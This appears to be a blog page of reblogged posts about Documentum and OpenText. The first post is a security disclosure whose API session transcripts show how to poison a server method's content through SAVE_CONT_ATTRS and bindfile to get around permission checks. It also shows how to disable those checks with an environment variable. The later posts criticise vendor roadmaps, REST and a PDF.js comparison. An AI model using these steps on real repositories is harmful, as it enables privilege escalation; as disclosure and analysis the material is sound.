In previous blogpost I described the history of ECD names when they were under EMC wing, because their first name was CMA their JIRA had address http://cmajira.lss.emc.com:8443, now ECD’s JIRA address is https://wcu-jirapprd01.lab.opentext.com:8443 🙂
On May 2015 I
discoveredpublished information about serious security flaw in Documentum – Content Server does not check user permissions when transferring content and modifying dmr_content objects, on June 2015 I had noticed that EMC wrongly implemented some security-related changes in Content Server, and, finally, on November 2015 (so slow) EMC published ETA that their changes break something – no information available about what got broken, so let’s check what was affected by new Content Server patches.
I think the idea of the original proof of concept is pretty clear: data_ticket attribute of dm_content objects points to the file on CS filesystem, attacker loads malicious content into separate sysobject and then transfers dmr_content attributes from donor to recipient, so docbase method gets poisoned. What has been changed in Documentum 7.2P02 to mitigate this security flaw? EMC started to check permissions for corresponding sysobjects and my proof of concept got broken:
API> apply,c,06024be980000199,SAVE_CONT_ATTRS, data_ticket,I,-2147480126,content_size,I,0, full_content_size,I,0,OBJECT_TYPE,S,dmr_content, IS_NEW_OBJECT,B,F ... q0 API> ?,c,q0 result ------------ 0 (1 row affected) [DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error: "Cannot access content '06024be980000199'. No write permission for current user"
What did EMC miss in their remediation? They failed to read documentation – attacker was able to use bindfile capability to share dmr_content object between victim object and object which was accessible for write:
Connected to Documentum Server running Release 7.2.0030.0195 Linux64.Oracle Session id is s0 API> retrieve,c,dm_method where use_method_content=TRUE ... 10024be980000471 API> create,c,dm_document ... 09024be98003b903 API> bindfile,c,l,0,10024be980000471,0 ... OK API> save,c,l ...... API> apply,c,06024be980000198,SAVE_CONT_ATTRS ,data_ticket,I,-2147439323 ,OBJECT_TYPE,S,dmr_content ,IS_NEW_OBJECT,B,F ... q0 API> ?,c,q0 result ------------ 1 (1 row affected) API>
It is not clear how EMC realised that bindfile capability is vulnerable (most likely they got such information from another blog) but in latest CS patches the behaviour of bindfile capability got broken – now to use this capability user must have write access for donor sysobject:
Connected to Documentum Server running Release 7.2.0060.0222 Linux64.Oracle Session id is s0 API> retrieve,c,dm_method where object_name='pre_erouter2_forward' ... 10024be980000472 API> get,c,l,_permit ... 3 API> create,c,dm_document ... 09024be98003bd03 API> bindfile,c,l,0,10024be980000472,0 ... OK API> save,c,l ... [DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error: "Cannot access content '06024be980000199'.No write permission for current user"
saveasnew got broken too:
Connected to Documentum Server running Release 7.2.0060.0222 Linux64.Oracle Session id is s0 API> fetch,c,09024be980034157 ... OK API> saveasnew,c,l,T ... [DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error: "Cannot access content '06024be98000ed48'.No write permission for current user"
getpath (technically, only browse access required):
Connected to Documentum Server running Release 7.2.0060.0222 Linux64.Oracle Session id is s0 API> getpath,c,09024be980034171 ... [DM_SYSOBJECT_E_NO_READ_ACCESS]error: "No read access for sysobject named '09024be980034171'"
You may return previous behaviour by setting up DM_CONTENT_PERM_CHECK environment variable:
[dmadmin@docu72dev01 ~]$ export DM_CONTENT_PERM_CHECK=0 [dmadmin@docu72dev01 ~]$ dm_start_DCTM_DEV starting Documentum server for repository: [DCTM_DEV] with server log: [/u01/documentum/cs/dba/log/DCTM_DEV.log] server pid: 97437 ... Connected to Documentum Server running Release 7.2.0060.0222 Linux64.Oracle Session id is s0 API> create,c,dm_document ... 09024be98003c100 API> bindfile,c,l,0,10024be980000472,0 ... OK API> save,c,l ... OK API>
“I’ve been watching this process with OpenText for more than a decade, and I think, in 2009, I called them ‘The Roadmap Company,'” said Tony Byrne, founder of Real Story Group, a research and advisory firm in Olney, Md. “Every time [OpenText] acquires a company, they always have this story around innovation and synergy and a roadmap. It’s a very nice story for the customer and perhaps OpenText believes it, but it very rarely executes on it.”
), this roadmap contains more “technical details” than the previous one, so we may discuss it more thoroughly.
Brava! & Blazon
Actually, here I didn’t understand what innovations they were talking about, because both innovations are already available:
View original post 259 more words
Actually, as a continuation of previous blogpost I wanted to write about DDD and my own experience with DFS, CMIS and REST, but today I have found another gem on LinkedIn: Performance Anti-Pattern For RESTful API – batch updating (saved copy), actually that blogpost hides package names:
but all we do know what is hidden there:
As far as I know, batch updates were introduced in 7.2 and they are dead slow 🙂
Another LinkedIn gem: Potential Permanent Generation Leakage In Your JVM
Technology Services Group recently published a blogpost which compares PDF.js and OpenAnnotate, unfortunately, all their comparison is based on hypothesis that PDF.js does not support progressive loading:
Which is actually not true, because PDF.js does support progressive loading since 2013: Implement progressive loading of PDFs, actually, it is more correct to say that PDF.js does support progressive loading since birth, because PDF.js was originally created as a Firefox extension and was included in Mozilla Firefox since 2012 (version 15), and it was enabled by default since 2013 (version 19). Unfortunately, after receiving a couple of valuable comments Technology Services Group embarrassingly decided to remove those comments and close blogpost for further comments:
Those valuable comments were:
- PDF.js does support PDF annotating capabilities via plugin
- If TSG thinks that progressive loading does require linearized PDFs, why they do not optimize all PDFs before storing
The most interesting thing here is a fact, that progressive loading does not require linearized PDFs:
Once again I get inspired by to write this blogpost by Alvaro de Andres Documentum 16.3 delayed until Feb 2018 blogpost – there is some “interesting discussion” about REST where you can find following opinion from another member of talented team:
Is DFS a personal target for your projects? Baseline REST is a mature offering and it has active Engineering working on it. The planet seems to be focused on a RESTful interface and the DCTM platform is meeting that focus with a set of platform APIs. As I’m sure you are aware Captiva, xCP and D2 can be access through REST interfaces.
Actually, it is not clear what Tomas meant under the word “REST” because my observations about REST are following:
- when most people talk about REST they typically mean JSON, which is obviously wrong: it is true that in the most cases (especially when REST client is…
View original post 639 more words